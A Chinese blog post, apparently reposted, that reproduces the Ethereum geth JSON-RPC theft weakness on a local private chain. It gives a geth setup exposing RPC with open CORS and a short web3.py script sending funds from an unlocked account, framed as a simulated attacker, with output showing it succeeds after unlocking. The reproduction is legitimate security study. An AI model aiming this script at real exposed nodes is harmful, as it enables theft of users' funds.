内容简介:关于漏洞是什么,可以查看参考中的因为不清楚最新的以太坊程序是否已不存在此问题,所以对这个安全漏洞做了一次本地环境的测试。根据参考中的的
关于漏洞是什么,可以查看参考中的 金钱难寐,大盗独行——以太坊 JSON-RPC 接口多种盗币手法大揭秘
文章。
因为不清楚最新的以太坊程序是否已不存在此问题,所以对这个安全漏洞做了一次本地环境的测试。
环境搭建
搭建私链
根据参考中的的 如何搭建以太坊私有链
文章,基本没坑地在本地起了一个以太坊节点。
自己一开始使用–testnet参数,却好像因为不能同步测试网络的原因,区块链高度(eth.blockNumber)一直是0。最终就没在测试网络复现了。
如果不是mac,可以在geth容器里操作,后面的步骤还是参考 如何搭建以太坊私有链
文章。
进入geth容器命令行:
docker run -ti --name ethereum-node --entrypoint="/bin/sh" -v /mnt/files/myethereum:/root -p 8546:8545 -p 30303:30303 ethereum/client-go
需要注意的地方:
geth --datadir data0 --networkid 1108 --rpcaddr 0.0.0.0 --rpc --rpccorsdomain "*" --rpcapi "web3,eth" --rpcvhosts=* console
测试代码
需要安装 python 3
# coding:utf-8
from web3 import Web3, HTTPProvider
import time
web3 = Web3(HTTPProvider('http://localhost:8545'))
eth = web3.eth
print(web3.eth.blockNumber)
# print(web3.eth.accounts)
print(eth.getBalance(eth.accounts[0]))
print(eth.getBalance(eth.accounts[1]))
web3.eth.sendTransaction({'to': eth.accounts[1], 'from': eth.accounts[0], 'value': 12345})
实验步骤
- 新建两个账号
- 给账号一挖矿,拿钱
-
模拟攻击者调rpc接口偷账号一的钱到账户二 (没有解锁用户时)
➜ /tmp python3 转账测试.py 1539 7694999999999994741030 5258970 Traceback (most recent call last): File "转账测试.py", line 15, in <module> web3.eth.sendTransaction({'to': eth.accounts[1], 'from': eth.accounts[0], 'value': 12345}) File "/usr/local/lib/python3.7/site-packages/web3/eth.py", line 268, in sendTransaction [transaction], File "/usr/local/lib/python3.7/site-packages/web3/manager.py", line 112, in request_blocking raise ValueError(response["error"]) ValueError: {'code': -32000, 'message': 'authentication needed: password or unlock'} -
模拟攻击者调rpc接口偷账号一的钱到账户二 (解锁用户时)
personal.unlockAccount(eth.accounts[0]) 解锁时间默认为300秒 再运行python3 转账测试.py,此时交易就被提交上去了
-
如此重复调用转账测试.py,区块链高度不断增加,账户一的余额越来越少
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析
- CVE-2010-3333漏洞复现
- CVE-2017-12149漏洞复现
- WinRAR 代码执行漏洞复现
- CVE-2017-12615漏洞复现
- 越权操作漏洞的思考与复现
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
《10%创业家》
[美] 帕特里克•J.麦金尼斯 / 李文远 / 广东人民出版社 / 2017-4 / 45.00
还在打工和创业之间苦苦挣扎吗?麦金尼斯用亲身经历告诉你,不用辞职,只需投入10%的时间和资源,就能获得100%的财务自由。你不需要雄厚的资本,也不必占用工作时间,只要准确掌握本书所授的方法,就能立即开始创业。 麦金尼斯是世界银行风投顾问,同时也是一名10%创业家。在本书中,他结合自身的创业咨询经历,为读者讲解了移动互联时代的5种创业模式,还提供了创业基因测试、10%创业计划、自传模板等个性化......一起来看看 《《10%创业家》》 这本书的介绍吧!